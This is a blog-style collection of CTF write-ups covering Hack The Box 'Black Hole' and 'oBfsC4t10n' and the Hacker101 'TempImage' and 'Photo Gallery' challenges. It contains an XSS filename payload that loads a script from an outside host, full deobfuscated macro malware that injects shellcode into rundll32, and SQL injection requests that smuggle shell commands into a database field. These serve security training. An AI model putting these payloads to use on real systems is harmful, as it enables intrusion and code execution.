
This is my Write Up for the "Black Hole" challenge from Hack The Box.

Like so often we are given a zip file called Blackhole.zip, naturraly we unzip it using cli:

```shell
unzip Blackhole.zip
```

It seems the Zip contained another zip called 'archive.zip' , so lets try and open that one.

we got a file called 'hawkins' it seems to be an image file, not really tho..
Is there a hidden message in this image? after some googling i found out about a tool called steghide.

[steghide](http://steghide.sourceforge.net/download.php) allowed me to look for a hidden message withing this file. Thanks @nieg for pointing in this direction.

I ran steghide like this:

```shell
steghide extract -sf hawking
```

nice! we get a file named Flag.txt.
It seems its content in encoded:

```shell
UldaeFluUnhlaUJKZFhoNGRXMTVJRlJ0YVhkMWVuTWdhVzFsSUcxNklGRjZjM2gxWlhRZ1puUnhZV1J4Wm5WdmJYZ2dZblJyWlhWdmRXVm1MQ0J2WVdWNVlYaGhjM1ZsWml3Z2JYcHdJRzFuWm5SaFpDd2dhWFJoSUdsdFpTQndkV1J4YjJaaFpDQmhjaUJrY1dWeGJXUnZkQ0J0WmlCbWRIRWdUM0Y2Wm1SeElISmhaQ0JHZEhGaFpIRm1kVzl0ZUNCUFlXVjVZWGhoYzJzZ2JXWWdablJ4SUVkNmRXaHhaR1YxWm1zZ1lYSWdUMjE1Ym1SMWNITnhJRzFtSUdaMGNTQm1kWGx4SUdGeUlIUjFaU0J3Y1cxbWRDNGdWSEVnYVcxbElHWjBjU0JZWjI5dFpYVnRlaUJDWkdGeWNXVmxZV1FnWVhJZ1dXMW1kSEY1YldaMWIyVWdiV1lnWm5SeElFZDZkV2h4WkdWMVptc2dZWElnVDIxNWJtUjFjSE54SUc1eFptbHhjWG9nTVRrM09TQnRlbkFnTWpBd09TNGdWRzFwZDNWNmN5QnRiM1IxY1doeGNDQnZZWGw1Y1dSdmRXMTRJR1ZuYjI5eFpXVWdhWFZtZENCbGNXaHhaRzE0SUdsaFpIZGxJR0Z5SUdKaFltZDRiV1FnWlc5MWNYcHZjU0IxZWlCcGRIVnZkQ0IwY1NCd2RXVnZaMlZsY1dVZ2RIVmxJR0ZwZWlCbWRIRmhaSFZ4WlNCdGVuQWdiMkZsZVdGNFlYTnJJSFY2SUhOeGVuRmtiWGd1SUZSMVpTQnVZV0YzSUUwZ1RtUjFjWElnVkhWbFptRmtheUJoY2lCR2RYbHhJRzFpWW5GdFpIRndJR0Y2SUdaMGNTQk9aSFZtZFdWMElFVm5lbkJ0YXlCR2RYbHhaU0J1Y1dWbUxXVnhlSGh4WkNCNGRXVm1JSEpoWkNCdElHUnhiMkZrY0MxdVpIRnRkM1Y2Y3lBeU16Y2dhWEZ4ZDJVdUlGUnRhWGQxZW5NZ2FXMWxJRzBnY25GNGVHRnBJR0Z5SUdaMGNTQkVZV3R0ZUNCRllXOTFjV1pyTENCdElIaDFjbkZtZFhseElIbHhlVzV4WkNCaGNpQm1kSEVnUW1GNlpuVnlkVzl0ZUNCTmIyMXdjWGxySUdGeUlFVnZkWEY2YjNGbExDQnRlbkFnYlNCa2NXOTFZblZ4ZW1ZZ1lYSWdablJ4SUVKa2NXVjFjSEY2Wm5WdGVDQlpjWEJ0ZUNCaGNpQlNaSEZ4Y0dGNUxDQm1kSEVnZEhWemRIRmxaaUJ2ZFdoMWVIVnRlaUJ0YVcxa2NDQjFlaUJtZEhFZ1IzcDFabkZ3SUVWbWJXWnhaUzRnVlhvZ01qQXdNaXdnVkcxcGQzVjZjeUJwYldVZ1pHMTZkM0Z3SUhwbmVXNXhaQ0F5TlNCMWVpQm1kSEVnVGs1UFhPS0FtV1VnWW1GNGVDQmhjaUJtZEhFZ01UQXdJRk5rY1cxbWNXVm1JRTVrZFdaaGVtVXVEUXBVUms1N1dqTm9jVVJmZUROR1gyWlVNMTl1TkdWR2JVUndOVjlUTTJaZlN6Qm5YM0F3YVZwOUlBPT0=
```

This string seems to be base64 encoded twice, who knows why, cuz this doesnt make it any harder.
Lets decode this in the browser:

```JavaScript
const x = atob(atob('UldaeFluUnhlaUJKZFhoNGRXMTVJRlJ0YVhkMWVuTWdhVzFsSUcxNklGRjZjM2gxWlhRZ1puUnhZV1J4Wm5WdmJYZ2dZblJyWlhWdmRXVm1MQ0J2WVdWNVlYaGhjM1ZsWml3Z2JYcHdJRzFuWm5SaFpDd2dhWFJoSUdsdFpTQndkV1J4YjJaaFpDQmhjaUJrY1dWeGJXUnZkQ0J0WmlCbWRIRWdUM0Y2Wm1SeElISmhaQ0JHZEhGaFpIRm1kVzl0ZUNCUFlXVjVZWGhoYzJzZ2JXWWdablJ4SUVkNmRXaHhaR1YxWm1zZ1lYSWdUMjE1Ym1SMWNITnhJRzFtSUdaMGNTQm1kWGx4SUdGeUlIUjFaU0J3Y1cxbWRDNGdWSEVnYVcxbElHWjBjU0JZWjI5dFpYVnRlaUJDWkdGeWNXVmxZV1FnWVhJZ1dXMW1kSEY1YldaMWIyVWdiV1lnWm5SeElFZDZkV2h4WkdWMVptc2dZWElnVDIxNWJtUjFjSE54SUc1eFptbHhjWG9nTVRrM09TQnRlbkFnTWpBd09TNGdWRzFwZDNWNmN5QnRiM1IxY1doeGNDQnZZWGw1Y1dSdmRXMTRJR1ZuYjI5eFpXVWdhWFZtZENCbGNXaHhaRzE0SUdsaFpIZGxJR0Z5SUdKaFltZDRiV1FnWlc5MWNYcHZjU0IxZWlCcGRIVnZkQ0IwY1NCd2RXVnZaMlZsY1dVZ2RIVmxJR0ZwZWlCbWRIRmhaSFZ4WlNCdGVuQWdiMkZsZVdGNFlYTnJJSFY2SUhOeGVuRmtiWGd1SUZSMVpTQnVZV0YzSUUwZ1RtUjFjWElnVkhWbFptRmtheUJoY2lCR2RYbHhJRzFpWW5GdFpIRndJR0Y2SUdaMGNTQk9aSFZtZFdWMElFVm5lbkJ0YXlCR2RYbHhaU0J1Y1dWbUxXVnhlSGh4WkNCNGRXVm1JSEpoWkNCdElHUnhiMkZrY0MxdVpIRnRkM1Y2Y3lBeU16Y2dhWEZ4ZDJVdUlGUnRhWGQxZW5NZ2FXMWxJRzBnY25GNGVHRnBJR0Z5SUdaMGNTQkVZV3R0ZUNCRllXOTFjV1pyTENCdElIaDFjbkZtZFhseElIbHhlVzV4WkNCaGNpQm1kSEVnUW1GNlpuVnlkVzl0ZUNCTmIyMXdjWGxySUdGeUlFVnZkWEY2YjNGbExDQnRlbkFnYlNCa2NXOTFZblZ4ZW1ZZ1lYSWdablJ4SUVKa2NXVjFjSEY2Wm5WdGVDQlpjWEJ0ZUNCaGNpQlNaSEZ4Y0dGNUxDQm1kSEVnZEhWemRIRmxaaUJ2ZFdoMWVIVnRlaUJ0YVcxa2NDQjFlaUJtZEhFZ1IzcDFabkZ3SUVWbWJXWnhaUzRnVlhvZ01qQXdNaXdnVkcxcGQzVjZjeUJwYldVZ1pHMTZkM0Z3SUhwbmVXNXhaQ0F5TlNCMWVpQm1kSEVnVGs1UFhPS0FtV1VnWW1GNGVDQmhjaUJtZEhFZ01UQXdJRk5rY1cxbWNXVm1JRTVrZFdaaGVtVXVEUXBVUms1N1dqTm9jVVJmZUROR1gyWlVNMTl1TkdWR2JVUndOVjlUTTJaZlN6Qm5YM0F3YVZwOUlBPT0='))
console.log(x)

//Output:
x = `Efqbtqz Iuxxumy Tmiwuzs ime mz Qzsxuet ftqadqfuomx btkeuouef, oaeyaxasuef, mzp mgftad, ita ime pudqofad ar dqeqmdot mf ftq Oqzfdq rad Ftqadqfuomx Oaeyaxask mf ftq Gzuhqdeufk ar Omyndupsq mf ftq fuyq ar tue pqmft. Tq ime ftq Xgomeumz Bdarqeead ar Ymftqymfuoe mf ftq Gzuhqdeufk ar Omyndupsq nqfiqqz 1979 mzp 2009. Tmiwuzs motuqhqp oayyqdoumx egooqee iuft eqhqdmx iadwe ar babgxmd eouqzoq uz ituot tq pueogeeqe tue aiz ftqaduqe mzp oaeyaxask uz sqzqdmx. Tue naaw M Nduqr Tuefadk ar Fuyq mbbqmdqp az ftq Ndufuet Egzpmk Fuyqe nqef-eqxxqd xuef rad m dqoadp-ndqmwuzs 237 iqqwe. Tmiwuzs ime m rqxxai ar ftq Dakmx Eaouqfk, m xurqfuyq yqynqd ar ftq Bazfuruomx Mompqyk ar Eouqzoqe, mzp m dqoubuqzf ar ftq Bdqeupqzfumx Yqpmx ar Rdqqpay, ftq tustqef ouhuxumz mimdp uz ftq Gzufqp Efmfqe. Uz 2002, Tmiwuzs ime dmzwqp zgynqd 25 uz ftq NNO\âe baxx ar ftq 100 Sdqmfqef Ndufaze.
TFN{Z3hqD_x3F_fT3_n4eFmDp5_S3f_K0g_p0iZ}`

```

We got some sort of unreadable Text coupled with what seems to be a flag.

```
HTB{this_is_the_usu4l_f0rmat_for_flags}
TFN{Z3hqD_x3F_fT3_n4eFmDp5_S3f_K0g_p0iZ}
```

similiarities are striking! why? well cuz its a caesar cipher.. how do we know? only the letters are affected, 'TFN' is 'HTB' shifted by 14, so they must be using ROT14. Give it a try on cyberchef:

![solved ciphertext](/cipherROT14.png "solved ciphertext")

Thats it! we got our flag 😄

have a look at [this challenge on my GitHub](https://github.com/Lawlez/myOSWE/tree/master/htb/challanges/misc/Black%20Hole)


A write up for the Black Hole[EASY] challenge

getting started with forensics

HTB write up for the Black Hole[EASY] challenge

### `WIP`

This is my Write Up for the "TempImage" challenge of HackerOne's CTF.

As usual we get a link to webpage, it seems to some sort of cloud storage application, on the main Page we get a really simple page:

```jsx


<html>
  <head>
    <title>TempImage &mdash; Trial</title>
  </head>
  <body>
    <h1>TempImage</h1>
    <p>
      <b>UNREGISTERED</b>
    </p>
    <p>
      <a href="upload.php">Upload image</a>
    </p>
  </body>
</html>
```

It signifies that its an UNEGISTERED version of the app, thus working in trial mode.

## Enumeration

So lets start to explore the app and what it can do. We start by clicking the "Upload image" Button.
This leads us to a new page **/upload.php**, here we can select a file from our computer, and have a submit button to send the form.

The form will be sent to a **doUpload.php** file. Upon closer inspection we alos see that there is a hidden field "filename", which gets filled in by a JS snippet.

```jsx
   <h1>Upload</h1>
		<form action="doUpload.php" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" id="file">
			<input type="hidden" name="filename" id="filename">
			<input type="submit" value="Upload">
		</form>
		<script>
			$(document).ready(function() {
				$('#file').change(function(e) {
					$('#filename').val(e.target.files[0].name)
				})
			})
	 </script>
```

So it seems this lil script extracts the `file.name` prop from the fileOpbject the user uploads to the input type="file".

Lets Try it out, It seems the file inpput allows any file to be chosen, lets try a 5mb .gif file.

```jsx
<center><h1>413 Request Entity Too Large</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
```

OK, fair, maybe 5mb was a it large, but we know we're working with an nginx 1.14 server on Ubuntu.
So how about we try a smaller gif?

```shell
ERROR: Only PNG format supported in trial.
```

Okay, finally we know what the app expects from us, a PNG file. So we try jsut that.
The upload succeeds, thus redirecting us to a new url:
`/files/be9c26aaea9d9b5085c7f6eed0812745_uhhhh.png`

so it seems our files are uploaded to the `/files/` directory, what a suprise, the file stil contains our original filename, preceeded by some gibberish.

we should deffinetly try to exploit this, check wheter or not they sanitize our filename.

Lets try uploading a file named: `javascript%3Aeval%28%27var%20a%3Ddocument.createElement%28%5C%27script%5C%27%29%3Ba.src%3D%5C%27https%3A%2F%2FDiscover.xss.ht%5C%27%3Bdocument.body.appendChild%28a%29%27%29.png`

We now get redirected to this url `http://35.190.155.168/d29c8e00db/files/9975e7e24fac21e8b877a6d08efe09c6_javascript%3Aeval%28%27var%20a%3Ddocument.createElement%28%5C%27script%5C%27%29%3Ba.src%3D%5C%27https%3A%2F%2FDiscover.xss.ht%5C%27%3Bdocument.body.appendChild%28a%29%27%29.png`

and we get served this content:

```javascript
Not Found
The requested URL /files/9975e7e24fac21e8b877a6d08efe09c6_javascript:eval('var a=document.createElement(\'script\');a.src=\'https:/Discover.xss.ht\';document.body.appendChild(a)').png was not found on this server.

Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 52736
```

so it seems there is potential there, we just need a more sophisticated payload to upload.

## Taking a step back

It's important not to get tunnelvision and only focus on your first finding, so lets take a step back and analyze the website using Burp Suite. Maybe we'll find something.
Lets analyze the upload URL first:

```shell
GET /d29c8e00db/upload.php HTTP/1.1
Host: 35.190.155.168
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
```

This does not tell us that much, it seems the server could accep more than just PNG tho.

How about if we upload an image?

`POST /d29c8e00db/doUpload.php HTTP/1.1`

![image upload Request](/hackerone/tempimage/tempimage-hackerone101-burpSuite_fileupload.png "image upload Request")

> This Post is marked as `WIP` and will be updated continously.

A write up for the TempImage [moderate] challenge

a work in progress

Hacker101 CTF TempImage [moderate] Write-Up

### `(WIP)`

This is my Write Up for the "oBfsC4t10n" challenge from Hack The Box.

We are given a _zip file_. after extraction we are presented with an **html** file telling us to download an **excel file**.
The excel file has been included in the html as a **base64 encoded** string, lets just save that info for later `base64.txt` in case we need it.

> decoding `base64.txt` actually gives us a valid excel like file.

After we checked the HTML and deemed the download save lets fetch the excel file.

## Enumeration

Instead of trying to open or analyze the file on our own machine, lets go ahead and upload it to **ANY.RUN**.

> [https://ANY.RUN](https://ANY.RUN) is a **online Sandbox** service that allows you to open various suspicious files or programms to fully analyze what would happen, without the danger.

After Testing the file with **ANY.RUN** we were able to see how the exploit would work and what would be done. So we tested on a **Windows 7** Machine, after opening the file, the exploit imediately startet to run:

![excel-file-report](/htb/obfuscation/file-report.png)

> 1. At first a temp file was created under `C:\Users\admin\AppData\Local\Temp\CVR40EB.tmp.cvr`
> 2. Then a what seems to be `visual basic script` executer was added here: `C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd`
> 3. followed by a `.hta` file with a funny name..: `C:\Users\admin\AppData\Local\Temp\LwTHLrGh.hta` <-- lemme guess thats the one.
> 4. it then makes use of `mshta.exe` to try and execute the `LwTHLrGh.hta` file.
> 5. then ANY.RUN stops executing the file.

![important files](/htb/obfuscation/file-modifications.png)

I went ahead and _downloaded_ the `MSForms.exd` as well as the `LwTHLrGh.hta` file so we can analyze them further.

## Analyzing `LwTHLrGh.hta`

> .hta is a propriatary file format used by microsoft, its called '**HT**ML **A**pplication' and supports HTML code as well as **Visual Basic** or **JScript**. This format was meant to be used by Internet Explorer.
>
> The **default file-association** for the .hta extension is the Microsoft HTML Application Host (**mshta.exe**). If you have not disabled or changed this file association, in effect the HTA file behaves like an executable when double-clicked. An **HTA runs** as a **fully trusted application** and as a result has a lot **more privileges than a normal HTML** file.

Sounds dangerous, nice!

So lets disect this bitch!

When opening the file we see it has a rather clear structure, a huge VB Script and **even comments**. How nice of the hacker not to obfuscate his code too much, thanks [@0xdf](https://twitter.com/0xdf_). ;-)

```jsx
"<html><head>

<script language="vbscript">



</script></head></html>"
```

so naturally, since its practiacally all the code, we strip the vbcode out of the .hta to make it readable.

Thank god we know VB, otherwise this would be a pain from here on now. ;-) Thankfully, since the autor has left some comments, indicating how the attack works, we should be able to cope with it.

The very first thing he does is effectively creating a backup of the AccessVBOM key **if** it has been set before.

```vb
' Get the old AccessVBOM value
RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Security\AccessVBOM"

if RegExists(RegPath) then
        action = WshShell.RegRead(RegPath)
else
        action = """"
end if
```

> "_Setting AccessVBOM to 1 allows to access the VBA Object Model_"

Then he 'weakens the target' by setting the AccessVBOM to 1, thus enabling all acces to VBA Object Model.

```VB
' Weaken the target
WshShell.RegWrite RegPath, 1, "REG_DWORD"
```

Then he gets to the juicy part.
To Exploit the Security setting he just turned off, he creates a new Excel Workboo, with macros of course.
He then proceeds to add VBComponents to the Excel, allowing him to add an Assembly Code Module.

```VB
' Run the macro
Set objWorkbook = objExcel.Workbooks.Add()
Set xlmodule = objWorkbook.VBProject.VBComponents.Add(1)
xlmodule.CodeModule.AddFromString ... 80 more lines...

```

In his last step this good boy restores the systems registry to its previous state.

```vb
' Restore the registry to its old state
if action = "" then
        WshShell.RegDelete RegPath
else
        WshShell.RegWrite RegPath, action, "REG_DWORD"
end if
self.close
```

> xlmodule.CodeModule.AddFromString contains many obfuscated lines of assembly code, I deobfuscated it by printing it via VBS.

Here is the actualy assembly code payload:

```cpp
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-35,-63,-65,32,86,66,126,-39,116,36,-12,91,49,-55,-79,98,49,123,24,3,123,24,-125,-61,36,-76,-73,-126,-52,-70,56,123,12,-37,-79,-98,61,-37,-90,-21,109,-21,-83,-66,-127,-128,-32,42,18,-28,44,92,-109,67,11,83,36,-1,111,-14,-90,2,-68,-44,-105,-52,-79,21,-48,49,59,71,-119,62,-18,120,-66,11,51,-14,-116,-102,51,-25,68,-100,18,-74,-33,-57,-76,56,12,124,-3,34,81,-71,-73,-39,-95,53,70,8,-8,-74,-27,117,53,69,-9,-78,-15,-74,-126,-54,2,74,-107,8,121,-112,16,-117,-39,83,-126,119,-40,-80,85,-13,-42,125,17,91,-6,-128,-10,-41,6,8,-7,55,-113,74,-34,-109,-44,9,127,-123,-80,-4,-128,-43,27,-96,36,-99,-79,-75,84,-4,-35,122,85,-1,29,21,-18,-116,47,-70,68,27,3,51,67,-36,100,110,51,114,-101,-111,68,90,95,-59,20,-12,118,102,-1,4,119,-77,80,85,-41,108,17,5,-105,-36,-7,79,24,2,25,112,-13,43,50,-88,-5,83,-61,-46,-115,58,-81,49,21,-46,66,43,-68,66,-77,-59,81,-76,-125,77,-17,-79,116,94,-80,2,72,-22,17,-7,-58,33,-14,113,127,119,127,26,76,37,2,-38,-38,96,-44,-18,-102,-116,-15,-124,-37,110,-109,-112,-117,-26,97,-91,42,76,-20,67,70,-94,-72,-36,-1,91,-31,-105,-98,-92,60,-46,-95,47,-76,34,111,-40,-67,48,-104,-65,61,-55,89,42,61,-93,93,-4,106,91,92,-39,92,-60,-97,12,-33,3,95,-47,-23,120,86,71,85,23,-105,-121,85,-25,-63,-51,85,-113,-75,-75,6,-86,-71,99,59,103,44,-116,109,-37,-25,-28,-109,2,-49,-86,108,97,83,-84,-110,-9,124,21,-6,7,61,-91,-6,109,-67,-11,-110,122,-110,-6,82,-126,57,83,-6,9,-84,17,-101,14,-27,-12,5,14,10,45,-74,117,95,-46,55,-118,-119,-73,56,-118,-75,-55,5,92,-116,-65,72,92,-85,-80,-1,-63,-102,90,-1,86,-36,78)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
```

You can see the Variable myArray seems suspicous, when running the payload in Excel I get an error for 'myArray'

Im stuck here at the moment... I was told i would not need windows..

@ me on twitter [@0x0000005](https://twitter.com/0x0000005)

> This Post is marked as `WIP` and will be updated continously.

write up for the oBfsC4t10n[HARD] challenge

security through obscurity?

HTB write up for the oBfsC4t10n[HARD] challenge


This is my Write Up for the "Photo Gallery" challenge of HackerOne's CTF.

As usual we get a link to webpage, it seems to be an image gallery, but one of the images is broken.
The missing one is called `Invisible`, so lets look into that.

```
http://34.74.105.127/ad3e8c7df9/
```

![initial page](/hackerone/photogallery-start.png "initial page")

## Information gathering

with Burp we were able to find that the server returns no content for this image.
images are loaded with a `GET` Request to the server like so:

`GET /ad3e8c7df9/fetch?id=1 HTTP/1.1`

this also aligns with the first tip we are provided:

> Hint 1: _Consider how you might build this system yourself. What would the **query for fetch** look like?_

naturally we start fuzzing the `id` parameter.

```python
GET /ad3e8c7df9/fetch?id=4 HTTP/1.1 # 404
GET /ad3e8c7df9/fetch?id=0 HTTP/1.1 # 404
GET /ad3e8c7df9/fetch?id=-1 HTTP/1.1 # 500
```

alright, no quick wins, so let's give it a try with fizzing using sqlmap.
Quickly we are able to see that the server seems to be vulnerable to some attack.

```python
sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=2"
```

This command runs for quite a while and will try to find vulnerabilities in the fetch endpoint.
when we are done we should know what to do next.

## Gathered Data

### sqlmap identified the following injection point(s) with a total of 311 HTTP(s) requests:

```python
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 3567=3567

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 8480 FROM (SELECT(SLEEP(5)))KHRS)
```

```python
[21:44:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
```

### Our Target Server:

    | Type      | Service      | Version                  | Vulnerable?    |
    | --------- | ------------ | ------------------------ | -------------- |
    | OS        | Linux Ubuntu | ??                       | not focused    |
    | Webserver | Nginx        | 1.14.0                   | no             |
    | Database  | MySQL        | >= 5.0.12 (MariaDB fork) | yes (id param) |

Good, we got something, we know the server is vulnerable to multiple vulnerabilities such as a 'boolean base blind'. We also found the Webserver is Nginx v1.14.0, which sadly has no usable vulnerabilities here. But with us now knowing the exact os and DB System used lets run sqlmap again with that info and see what we get.

```python
sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=2" -f --os=linux --dbms=mysql --level=3 -o
```

we dont really get any more useful information from here.
soo.. were kinda stuck lets just get another hint then:

> Hint 2: _Take a few minutes to consider the **state of the union**_

The state uf the union? are they hinting on using UNION statements in the query?
_The UNION operator is used to combine the result-set of two or more SELECT statements._
That seems like somethng we can make use of, so lets try and combine our query statements f.e. like this:

`http://34.74.105.127/ad3e8c7df9/fetch?id=2 UNION SELECT 'something'`

but what do we look for? Lets get another hint.

> Hint 3: _This application runs on the **uwsgi-nginx-flask-docker** image_

uwsgi-nginx? hmm havent heard of that, but sems to be some kind of portable all in one flask. lets look for the docs.

https://uwsgi-docs.readthedocs.io/en/latest/Configuration.html#ini-files

> uWSGI can be configured using several different methods.

YAML, JSON, INI are some supported formats -> ini beeing the defualt so lets try getting the 'uwsgi.ini' file?

![union select wiht burp repeater](/hackerone/union-select-ini.png "union select wiht burp repeater")

this returns us some configdata pointing to module main which is the entrypoint.

```python
[uwsgi]
module = main
callable = app
```

so lets see if we can also fethc the main.py

```python
http://35.190.155.168/c947e97f6e/fetch?id=4%20UNION%20SELECT%20%27main.py%27--
```

Here we get lots of infos our **first FLAG** and the db connection settings:

### FLAG 0:

```python
%s
' % (pid, sanitize(ptitle)) fns.append(pfn) rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '' rep += '
\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404)
# It's dangerous to go alone, take this: # ^FLAG^9e6d57c394c129??????????????????????????????f74dbf2faa0abd571b32c7$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
```

`return MySQLdb.connect(host="localhost", user="root", password="", db="level5")`

we also see that they are using the photos table

`cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))`

lets try to fuzz that with sqlmap, since we now know the DB and tables info we can launch a targeted attack.

```python
sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=1" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 2
```

This can take quite a while.. for me it crashed after 40 minutes, so i gave it another go with just focusing on the column `filename` since, here is the value we need.we do this by adding the -C parameter, i also increased the thradcount to 4 to try and get faster results. I also changed the url to contain id=3 since this is the id we want to get the info from.

```python
sqlmap -u "http://35.190.155.168/c947e97f6e/fetch?id=3" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 4 -C filename
```

This means that sqlmap will start with the filename of id=3 which is exactly what we want right now.

![starts to query filename of id 3](/hackerone/photo-gallery-hash.png "query on the filename of id 3")
So lets have a look at our results:

```python
Database: level5
Table: photos
[3 entries]
+------------------------------------------------------------------+
| filename |
+------------------------------------------------------------------+
| 9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa |
| files/adorable.jpg |
| files/purrfect.jpg |
+------------------------------------------------------------------+
```

> you might be getting partial values like so:
> `9ef8fc5di15625db993f1c8e120beafc6873d801a804670?????????????????`
> you should be able to re-run sqlmap to find the missing characters
> `9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa`

decrypted: `\*||+ls+-a+tmp.txt`
another file! nice lets try and get that with a UNION STATEMENT request like so:

`GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'tmp.txt'-- HTTP/1.1`
hmm no luck it seems... let's do it another way.

From our previous findings we know that files are in the 'files' directory and that we can run sql statements on the id param. So we want to try to move the file or its contents so we can access it. We also got a new hint of using ls output to find temp file.

We want to run following statements via the vulnerable param:

#### ls in the /files directory and store data in bigWin.txt

`update photos set filename='* || ls ./files >bigWin.txt ' where id=3; commit;`

`GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename=%27\*%20||%20ls%20./files%20%3EbigWin.txt%20%27%20where%20id=3;%20commit;%20-- HTTP/1.1`

#### store all env data in bigWin.txt (because so often flags are here)

`update photos set filename='* || env >bigWin.txt' where id=3; commit;`

`GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename%3D%27*%20%7C%7C%20env%20%3Etmp.txt%27%20where%20id%3D3%3B%20commit%3B%20-- HTTP/1.1`

after you succsessfully ran those you should be able to run the union select again to get ahold of bigWin.txt!

`GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'bigWin.txt'-- HTTP/1.1`

Tadaa!! we got it all.

```bash
